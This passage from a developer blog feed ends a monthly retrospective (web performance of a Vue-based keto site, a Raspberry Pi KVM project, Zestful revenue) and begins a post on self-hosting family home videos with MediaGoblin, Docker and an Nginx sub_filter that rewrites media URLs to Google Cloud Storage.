 &lt;td>Import Google Fonts using a &lt;code>&amp;lt;link rel&amp;gt;&lt;/code> tag instead of a CSS &lt;code>@import&lt;/code>&lt;/td>
 &lt;td>Low&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Tune the Google Fonts URL to download only the fonts I need&lt;/td>
 &lt;td>Low&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Add &lt;a href="https://www.smashingmagazine.com/2019/06/optimizing-google-fonts-performance/">&lt;code>preconnect&lt;/code> and &lt;code>dns-prefetch&lt;/code> for Google Fonts&lt;/a> in the HTML &lt;code>&amp;lt;head&amp;gt;&lt;/code>&lt;/td>
 &lt;td>Low&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://fontsplugin.com/google-fonts-font-display-swap/">Add &lt;code>?display=swap&lt;/code>&lt;/a> to my Google Fonts import URL to prevent &amp;ldquo;Flash of Invisible Text&amp;rdquo;&lt;/td>
 &lt;td>Low&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Everyone talks about using &lt;a href="https://www.npmjs.com/package/webpack-bundle-analyzer">webpack-bundle-analyzer&lt;/a> to look for large components in your JS bundle. I felt crazy because I couldn&amp;rsquo;t find any instructions on how to actually use it. All the instructions basically say:&lt;/p>
&lt;ol>
&lt;li>&lt;code>npm install webpack-bundle-analyzer&lt;/code>&lt;/li>
&lt;li>???&lt;/li>
&lt;li>Look at the useful visualization in your browser.&lt;/li>
&lt;/ol>
&lt;p>But they never explain &lt;strong>how&lt;/strong> you actually generate the visualization. I finally figured out that the missing step 2 is to plug webpack-bundle-analyzer into your build (varies by stack, but &lt;a href="https://www.codegram.com/blog/improving-a-gridsome-website-performance/#avoid-enormous-network-payloads-and-minimize-main-thread-work">here&lt;/a> is how to do it on Gridsome). Then the next time you build your app, you&amp;rsquo;ll see a line like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Webpack Bundle Analyzer saved report to /home/user/isitketo/dist/report.html
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And then if you open &lt;code>report.html&lt;/code>, you&amp;rsquo;ll see the visualization everyone&amp;rsquo;s talking about.&lt;/p>
&lt;h2 id="web-performance-is-harder-than-i-thought">Web performance is harder than I thought&lt;/h2>
&lt;p>Is It Keto originally ran on App Engine under Python 2. Given my renewed focus on the site, coupled with Google&amp;rsquo;s plans to &lt;a href="https://cloud.google.com/appengine/docs/standard/python3/python-differences">end support for Python 2&lt;/a>, Back in April, I decided to rewrite the site. I chose &lt;a href="https://gridsome.org">Gridsome&lt;/a>, a Vue-based static site generator.&lt;/p>
&lt;p>It seemed like I&amp;rsquo;d get the best of both worlds: the performance of a pre-rendered website and the flexible developer experience of Vue. It turns out that web performance is a bit more complicated than I realized.&lt;/p>
&lt;p>I &lt;em>thought&lt;/em> that the browser would just render all the pre-generated HTML and then evaluate the JavaScript in the background. It turns out that browsers &lt;em>really&lt;/em> want to evaluate JavaScript before doing anything else. Even though on Is It Keto, my &lt;code>&amp;lt;script&amp;gt;&lt;/code> tags are at the very bottom of my HTML and they have the &lt;code>defer&lt;/code> attribute, they still tank my performance metrics:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 835px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/06/with-scripts.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 835px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/06/with-scripts_hu_d3eb7c97a4c1c511.png 300w, https://mtlynch.io/retrospectives/2020/06/with-scripts_hu_36500de22f7a997f.png 600w, https://mtlynch.io/retrospectives/2020/06/with-scripts_hu_2b77f30ca5378e89.png 800w, https://mtlynch.io/retrospectives/2020/06/with-scripts.png 833w'
 src="https://mtlynch.io/retrospectives/2020/06/with-scripts.png" alt="Lighthouse score of 47 with scripts enabled" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 814px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/06/without-scripts.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 814px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/06/without-scripts_hu_108fa8684dcc3e32.png 300w, https://mtlynch.io/retrospectives/2020/06/without-scripts_hu_de395d4e8a0959a2.png 600w, https://mtlynch.io/retrospectives/2020/06/without-scripts_hu_201733b08dc3bad1.png 800w, https://mtlynch.io/retrospectives/2020/06/without-scripts.png 812w'
 src="https://mtlynch.io/retrospectives/2020/06/without-scripts.png" alt="Lighthouse score of 87 with scripts deleted" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>If I delete the &lt;code>&amp;lt;script&amp;gt;&lt;/code> tags on Is It Keto, its &lt;a href="https://developers.google.com/web/tools/lighthouse">Lighthouse score&lt;/a> jumps 40 points, but then the site becomes non-functional.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>Vue 3, due out in the next few months, is supposed to improve performance due to &lt;a href="https://vueschool.io/articles/vuejs-tutorials/faster-web-applications-with-vue-3/">tree shaking&lt;/a>. That means it will be able to reduce the size of your JavaScript payload by eliminating unused framework code. Gridsome claims that &lt;a href="https://twitter.com/gridsome/status/1265742280805285896">their 1.0 release will be Vue 3 compatible&lt;/a>, but they seem so constrained by developer resources that I&amp;rsquo;m worried that it could be years before they ever get there.&lt;/p>
&lt;h2 id="raspberry-pi-as-a-virtual-keyboard-and-monitor">Raspberry Pi as a virtual keyboard and monitor&lt;/h2>
&lt;p>I&amp;rsquo;ve been working on a hobby project for the past few weeks that I don&amp;rsquo;t think will turn into a business, but maybe there&amp;rsquo;s a market for it.&lt;/p>
&lt;p>My &lt;a href="https://mtlynch.io/building-a-vm-homelab/">current server&lt;/a> is headless, so there&amp;rsquo;s no keyboard or monitor attached. I just interact with it over SSH. The problem is that if the OS fails to load or I want to change BIOS settings, I&amp;rsquo;m stuck — I have to drag the whole server over to my desk and attach my desktop monitor and keyboard to access the server.&lt;/p>
&lt;p>For my next server, I&amp;rsquo;ve dreamed about getting some sort of virtual console. There are enterprise solutions like &lt;a href="https://en.wikipedia.org/wiki/Dell_DRAC">Dell&amp;rsquo;s iDRAC&lt;/a> and &lt;a href="https://en.wikipedia.org/wiki/HP_Integrated_Lights-Out">HP&amp;rsquo;s iLO&lt;/a>, but they add several hundred dollars to a server&amp;rsquo;s cost. There are also &lt;a href="https://smile.amazon.com/Lantronix-1PORT-Remote-Spider-SLS200USB0-01/dp/B000OH5MDO/">KVM over IP devices&lt;/a>, but they also cost $400+ and require bloated client software.&lt;/p>
&lt;p>For the past few weeks, I&amp;rsquo;ve been trying to build the poor-man&amp;rsquo;s remote console with a &lt;a href="https://www.raspberrypi.org/products/raspberry-pi-4-model-b/">Raspberry Pi 4&lt;/a>. The keyboard part works great over the network:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="keyboard-demo_2020-05-28.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>I got a Raspberry Pi to work as a browser-controlled keyboard&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>Displaying video from the target machine is trickier, but I have it working now with about 1 second of latency. Here&amp;rsquo;s what that looks like:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="kvmpi-demo.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>I got a Raspberry Pi to work as a browser-controlled keyboard&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>Right now, the video appears in a separate window, but I&amp;rsquo;m working on embedding it directly in the webpage.&lt;/p>
&lt;p>I&amp;rsquo;m writing a blog post that will explain everything in more detail, but if you want to peek at the source code, it&amp;rsquo;s public though not fully documented yet:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/key-mime-pi.git">key-mime-pi&lt;/a>: Web server for forwarding keystrokes to the Raspberry Pi&amp;rsquo;s virtual keyboard device.&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/ansible-role-key-mime-pi">ansible-role-key-mime-pi&lt;/a>: An Ansible role for configuring the Pi&amp;rsquo;s USB gadget functionality (so it can mimic a keyboard) and for installing the web server as a systemd service.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m considering selling pre-configured kits for around $180. If you&amp;rsquo;d be interested in purchasing one, visit:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://tinypilotkvm.com/">Tiny Pilot KVM&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>April 2020&lt;/th>
 &lt;th>May 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>1,142&lt;/td>
 &lt;td>467&lt;/td>
 &lt;td>&lt;font color="red">-675 (-59%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>2,960&lt;/td>
 &lt;td>1,258&lt;/td>
 &lt;td>&lt;font color="red">-1,702 (-57%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$32.19&lt;/td>
 &lt;td>$6.48&lt;/td>
 &lt;td>&lt;font color="red">-$25.71 (-80%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$32.19&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$6.48&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$25.71 (-80%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>For some reason, Zestful got a burst of interest in May. Three customers requested Enterprise pricing. Two of them seem like dead leads, but I might have something that works well for the third. I should know what&amp;rsquo;s going to happen by the end of this week.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Increased the number of articles on Is It Keto by 40%.&lt;/li>
&lt;li>Improved Is It Keto&amp;rsquo;s Lighthouse performance by 43 points (from 4 to 47).&lt;/li>
&lt;li>Presented a talk called &lt;a href="https://decks.mtlynch.io/show-and-tell-2020-05/#/">&amp;ldquo;How to be a Sort of Successful Blogger&amp;rdquo;&lt;/a> to my peer mentorship group.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Pre-rendered Vue sites still pay a significant performance penalty.&lt;/li>
&lt;li>Talking to a new person about your business helps you reassess your assumptions.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Validate ideas for a sister product to Is It Keto.&lt;/li>
&lt;li>Add 30 new articles to Is It Keto.&lt;/li>
&lt;li>Create a working Pi-based KVM over IP, controllable through the web browser.&lt;/li>
&lt;/ul></content:encoded></item><item><title>My Eight-Year Quest to Digitize 45 Videotapes (Part Two)</title><link>https://mtlynch.io/digitizing-2/</link><pubDate>Tue, 26 May 2020 00:00:01 +0000</pubDate><guid>https://mtlynch.io/digitizing-2/</guid><description>&lt;p>In &lt;a href="https://mtlynch.io/digitizing-1">part one&lt;/a>, I described my arduous journey to capture my old home movies in digital format and divide them into individual scenes. After processing all the clips, I wanted the experience of exploring them to be as simple as looking up clips on YouTube. Because these videos are my family&amp;rsquo;s private memories, &lt;em>actual&lt;/em> YouTube is too public. I needed a way to share them that was both user-friendly and secure.&lt;/p></description><content:encoded>&lt;p>In &lt;a href="https://mtlynch.io/digitizing-1">part one&lt;/a>, I described my arduous journey to capture my old home movies in digital format and divide them into individual scenes. After processing all the clips, I wanted the experience of exploring them to be as simple as looking up clips on YouTube. Because these videos are my family&amp;rsquo;s private memories, &lt;em>actual&lt;/em> YouTube is too public. I needed a way to share them that was both user-friendly and secure.&lt;/p>
&lt;h2 id="step-3-sharing">Step 3: Sharing&lt;/h2>
&lt;h3 id="clipbucket-the-open-source-youtube-clone-you-cant-really-install">ClipBucket, the open-source YouTube clone you can&amp;rsquo;t really install&lt;/h3>
&lt;p>The first solution I tried was &lt;a href="https://github.com/arslancb/clipbucket">ClipBucket&lt;/a>, which advertises itself as an open-source YouTube clone that you can self-host.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/digitizing-2/clipbucket-github.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/digitizing-2/clipbucket-github_hu_40ae2e2a8a438ecc.png 300w, https://mtlynch.io/digitizing-2/clipbucket-github_hu_3acea5fe7bcd941a.png 600w, https://mtlynch.io/digitizing-2/clipbucket-github_hu_c906ba80c45734a9.png 800w, https://mtlynch.io/digitizing-2/clipbucket-github_hu_5265a8051e09bbd.png 1200w, https://mtlynch.io/digitizing-2/clipbucket-github.png 1321w'
 src="https://mtlynch.io/digitizing-2/clipbucket-github.png" alt="ClipBucket&amp;#39;s repository on GitHub" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://github.com/arslancb/clipbucket">ClipBucket&lt;/a> is an open-source clone of YouTube that users can self-host (theoretically).&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Puzzlingly, ClipBucket offered no installation instructions. Using a &lt;a href="https://web.archive.org/web/20160202164342/http://linoxide.com/linux-how-to/setup-clipbucket-video-sharing-website-linux/">third-party guide&lt;/a>, I &lt;a href="https://mtlynch.io/ansible-role-clipbucket/">automated the installation process&lt;/a> using &lt;a href="https://docs.ansible.com/ansible/latest/index.html">Ansible&lt;/a>, a configuration management tool for servers.&lt;/p>
&lt;p>Part of the difficulty was that ClipBucket&amp;rsquo;s installation scripts were flat-out broken. As a &lt;a href="https://mtlynch.io/why-i-quit-google/">Google employee&lt;/a> at the time, I couldn&amp;rsquo;t contribute patches to a YouTube clone, but &lt;a href="https://github.com/arslancb/clipbucket/issues/223">I submitted a bug report&lt;/a> that should have made the fixes obvious. Months went by, and they never acknowledged the problem. Instead, they introduced even &lt;em>more&lt;/em> breaking errors on every release.&lt;/p>
&lt;p>ClipBucket&amp;rsquo;s business ran on a consulting model — they released their code for free and charged customers who needed help deploying it. Slowly, it dawned on me that the company earning money on paid installation support probably wasn&amp;rsquo;t super interested in self-serve deployment.&lt;/p>
&lt;h3 id="mediagoblin-a-more-modern-alternative">MediaGoblin, a more modern alternative&lt;/h3>
&lt;p>After a few months of frustration with ClipBucket, I reassessed what was available and found &lt;a href="https://mediagoblin.org/">MediaGoblin&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/digitizing-2/mediagoblin-homepage.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/digitizing-2/mediagoblin-homepage_hu_b7a644966e53de46.png 300w, https://mtlynch.io/digitizing-2/mediagoblin-homepage_hu_e7b8a744f2fe71f0.png 600w, https://mtlynch.io/digitizing-2/mediagoblin-homepage_hu_eceb9d4cc26d93fb.png 800w, https://mtlynch.io/digitizing-2/mediagoblin-homepage.png 989w'
 src="https://mtlynch.io/digitizing-2/mediagoblin-homepage.png" alt="MediaGoblin&amp;#39;s homepage" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://mediagoblin.org/">MediaGoblin&lt;/a> is a self-hosted media sharing platform.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>There was plenty to like about MediaGoblin. Unlike ClipBucket&amp;rsquo;s unsightly PHP, MediaGoblin was written in Python, a language in which I have plenty of experience. It included a &lt;a href="https://mediagoblin.readthedocs.io/en/v0.9.0/siteadmin/commandline-upload.html">command-line interface&lt;/a> that made it easy to automate video uploads. Best of all, MediaGoblin &lt;a href="https://wiki.mediagoblin.org/index.php?title=EasyDeployment&amp;amp;oldid=1874">offered a Docker image&lt;/a>, which would eliminate any installation guesswork.&lt;/p>
&lt;div class="notice notice-info">
 &lt;a href="https://www.docker.com/">&lt;strong>Docker&lt;/strong>&lt;/a> is a technology that allows developers to build a self-contained environment for an application that runs anywhere. I rely on it heavily in &lt;a href="https://mtlynch.io/tags/docker/">many of my projects&lt;/a>.
&lt;/div>

&lt;h3 id="the-surprising-difficulty-of-re-dockerizing-mediagoblin">The surprising difficulty of re-dockerizing MediaGoblin&lt;/h3>
&lt;p>I assumed MediaGoblin&amp;rsquo;s Docker image would make deployment trivial. Well, not quite.&lt;/p>
&lt;p>There were two features I needed that weren&amp;rsquo;t available in the pre-built image:&lt;/p>
&lt;ul>
&lt;li>Authentication
&lt;ul>
&lt;li>MediaGoblin is public by default, so I needed a way to prevent strangers from accessing the site.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Transcoding
&lt;ul>
&lt;li>Any time you upload a video, MediaGoblin attempts to re-encode it for optimal streaming. For videos that are already streaming-friendly, this step degrades quality and wastes processing cycles.&lt;/li>
&lt;li>MediaGoblin offers &lt;a href="https://wiki.mediagoblin.org/Configure_MediaGoblin#Disable_transcoding">configuration options to skip transcoding&lt;/a>, but the existing Docker image was non-configurable.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>No problem. The Docker image was &lt;a href="https://web.archive.org/web/20251026210700/https://notabug.org/dachary/mediagoblin-docker">open-source&lt;/a>, so I could &lt;a href="https://github.com/mtlynch/mediagoblin-docker">rebuild it myself&lt;/a>.&lt;/p>
&lt;p>Sadly, the Docker image no longer built against the current &lt;a href="https://savannah.gnu.org/git/?group=mediagoblin">MediaGoblin repository&lt;/a>. I tried syncing it to the version that matched the last successful build, but that failed as well. Even though I was building with the exact same code, MediaGoblin&amp;rsquo;s external dependencies had changed out from under it, breaking the build. Dozens of hours later, after sitting through MediaGoblin&amp;rsquo;s 10+ minute build process over and over again, I finally got it working.&lt;/p>
&lt;p>Months later, the same thing happened. MediaGoblin&amp;rsquo;s dependency churn has broken my build several times in the past couple of years, including once more as I was writing this article. I finally made &lt;a href="https://github.com/mtlynch/mediagoblin">my own fork of MediaGoblin&lt;/a> that &lt;a href="https://github.com/mtlynch/mediagoblin/pull/8/files">hardcoded all dependencies&lt;/a> to explicit versions. In other words, instead of dubiously stating that MediaGoblin works with any version of &lt;a href="https://docs.celeryq.dev">celery&lt;/a> &amp;gt;= 3.0, I set it to depend on celery&amp;rsquo;s &lt;a href="https://pypi.org/project/celery/4.2.1/">4.2.1 release&lt;/a> because I&amp;rsquo;ve tested MediaGoblin against that version. It seems like MediaGoblin needs a &lt;a href="https://stackoverflow.com/a/52665767/90388">mechanism for reproducible builds&lt;/a>, but I haven&amp;rsquo;t yet taken that on.&lt;/p>
&lt;p>Anyhow, after many hours of struggle, MediaGoblin finally reached a point where I could build and tweak it within Docker. From there, it was straightforward to &lt;a href="https://github.com/mtlynch/mediagoblin-docker/blob/81a8a33840dd76bd82e200de3f4b26cbc180208b/mediagoblin.ini#L38-L43">skip unnecessary video transcoding&lt;/a> and &lt;a href="https://github.com/mtlynch/mediagoblin-docker/blob/81a8a33840dd76bd82e200de3f4b26cbc180208b/default.conf.tmpl#L63-L64">add Nginx&lt;/a> for authentication.&lt;/p>
&lt;h2 id="step-4-hosting">Step 4: Hosting&lt;/h2>
&lt;p>With MediaGoblin running under Docker on my local machine, the next step was to deploy my setup to a cloud server so my family could access the videos.&lt;/p>
&lt;h3 id="mediagoblin-and-the-video-storage-problem">MediaGoblin and the video storage problem&lt;/h3>
&lt;p>There are plenty of platforms that accept an application&amp;rsquo;s Docker image and host it at a publicly-accessible URL. The wrinkle was that, in addition to the MediaGoblin application itself, there were 33 GB of video files to share. It was possible to hard-code them into the Docker image, but that was cumbersome and ugly. A one-line change to a configuration file would require me to re-deploy 33 GB of data.&lt;/p>
&lt;p>When I was using ClipBucket, I solved this problem using &lt;a href="https://github.com/GoogleCloudPlatform/gcsfuse">gcsfuse&lt;/a>, a utility that allows the operating system to load directories on Google Cloud Storage as regular filesystem paths. I put the video files on Google Cloud Storage and used gcsfuse to make them appear to ClipBucket as local files.&lt;/p>
&lt;p>The difference was that ClipBucket ran in a full virtual machine, whereas MediaGoblin ran in a Docker container. Mounting cloud storage files under Docker turned out to be far more complicated. I spent dozens of hours solving all the gotchas and wrote a &lt;a href="https://mtlynch.io/retrofit-docker-gcs/">whole blog post&lt;/a> about it.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/digitizing-2/mg-gcs-architecture.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/digitizing-2/mg-gcs-architecture_hu_fd37247de744c83.jpg 300w, https://mtlynch.io/digitizing-2/mg-gcs-architecture_hu_32e0a67197d6a3bc.jpg 600w, https://mtlynch.io/digitizing-2/mg-gcs-architecture_hu_a954c2c75ab4d9ba.jpg 800w, https://mtlynch.io/digitizing-2/mg-gcs-architecture.jpg 1024w'
 src="https://mtlynch.io/digitizing-2/mg-gcs-architecture.jpg" alt="Architecture diagram of MediaGoblin &amp;#43; Docker &amp;#43; gcsfuse" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Initial architecture for integrating MediaGoblin with Google Cloud Storage, documented in my &lt;a href="https://mtlynch.io/retrofit-docker-gcs/">2018 blog post&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>After weeks of coercing all the components to play nicely together, it worked. Without making any changes to MediaGoblin&amp;rsquo;s code, I was able to trick it into reading and writing its media files to Google Cloud Storage.&lt;/p>
&lt;p>The only problem was that it made MediaGoblin unusably slow. Loading the video thumbnails on the homepage took a full 20 seconds. If you jumped forward while watching a video, MediaGoblin stalled for a 10-second eternity before resuming playback.&lt;/p>
&lt;p>The underlying issue was that video and image files followed a long, circuitous route to the user. They had to go from Google Cloud Storage through gcsfuse to MediaGoblin to Nginx and then finally to the user&amp;rsquo;s browser. gcsfuse was a major bottleneck, as it&amp;rsquo;s not optimized for speed. It warns about its poor latency right &lt;a href="https://github.com/GoogleCloudPlatform/gcsfuse#latency-and-rsync">on the project homepage&lt;/a>:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/digitizing-2/gcsfuse-latency.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/digitizing-2/gcsfuse-latency_hu_1941c04e74063ea0.png 300w, https://mtlynch.io/digitizing-2/gcsfuse-latency_hu_33d9699a110bae19.png 600w, https://mtlynch.io/digitizing-2/gcsfuse-latency_hu_1570318857938081.png 800w, https://mtlynch.io/digitizing-2/gcsfuse-latency.png 954w'
 src="https://mtlynch.io/digitizing-2/gcsfuse-latency.png" alt="Latency warning from gcsfuse GitHub repository" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Warnings in gcsfuse documentation &lt;a href="https://github.com/GoogleCloudPlatform/gcsfuse#latency-and-rsync">about slow performance&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Ideally, the browser would fetch files directly from Google Cloud Storage, bypassing all the intermediate layers. How could I do that without delving into MediaGoblin&amp;rsquo;s codebase and adding complicated integration logic for Google Cloud Storage?&lt;/p>
&lt;h3 id="the-nginx-sub_filter-trick">The Nginx &lt;code>sub_filter&lt;/code> trick&lt;/h3>
&lt;p>Fortunately, I found a simple solution that was only &lt;em>kind of&lt;/em> ugly. I &lt;a href="https://github.com/mtlynch/mediagoblin-docker/blob/6bf661b51011ff562a6be58dd22dfa190e8a7696/default.conf.tmpl#L61-L62">added this filter&lt;/a> to Nginx&amp;rsquo;s &lt;code>default.conf&lt;/code> file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>sub_filter &amp;#34;/mgoblin_media/media_entries/&amp;#34; &amp;#34;https://storage.googleapis.com/MY-GCS-BUCKET/media_entries/&amp;#34;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sub_filter_once off;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In my setup, Nginx served as a proxy between the end-user and MediaGoblin. The above directive tells Nginx to perform a search and replace on all of MediaGoblin&amp;rsquo;s HTML responses before passing them on to the end-user. Nginx swaps out all relative paths to media files on MediaGoblin and replaces them with Google Cloud Storage URLs.&lt;/p>
&lt;p>For example, MediaGoblin generates HTML that looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;display:grid;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">video&lt;/span> &lt;span style="color:#bbb">width&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;720&amp;#34;&lt;/span> &lt;span style="color:#bbb">height&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;480&amp;#34;&lt;/span> &lt;span style="color:#bbb">controls&lt;/span> &lt;span style="color:#bbb">autoplay&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">source&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex; background-color:#363636">&lt;span> &lt;span style="color:#bbb">src&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/mgoblin_media/media_entries/16/Michael-riding-a-bike.mp4&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">type&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;video/mp4&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">video&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Nginx modifies the response to look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;display:grid;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">video&lt;/span> &lt;span style="color:#bbb">width&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;720&amp;#34;&lt;/span> &lt;span style="color:#bbb">height&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;480&amp;#34;&lt;/span> &lt;span style="color:#bbb">controls&lt;/span> &lt;span style="color:#bbb">autoplay&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">source&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex; background-color:#363636">&lt;span> &lt;span style="color:#bbb">src&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;https://storage.googleapis.com/MY-GCS-BUCKET/media_entries/16/Michael-riding-a-bike.mp4&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">type&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;video/mp4&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">video&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here&amp;rsquo;s how it all fits together:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/digitizing-2/final-architecture.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/digitizing-2/final-architecture_hu_bc614177ad015365.jpg 300w, https://mtlynch.io/digitizing-2/final-architecture_hu_6f07453069e98b4f.jpg 600w, https://mtlynch.io/digitizing-2/final-architecture_hu_b709e46d752ec32a.jpg 800w, https://mtlynch.io/digitizing-2/final-architecture_hu_1950441a4d0cea00.jpg 1200w, https://mtlynch.io/digitizing-2/final-architecture.jpg 1200w'
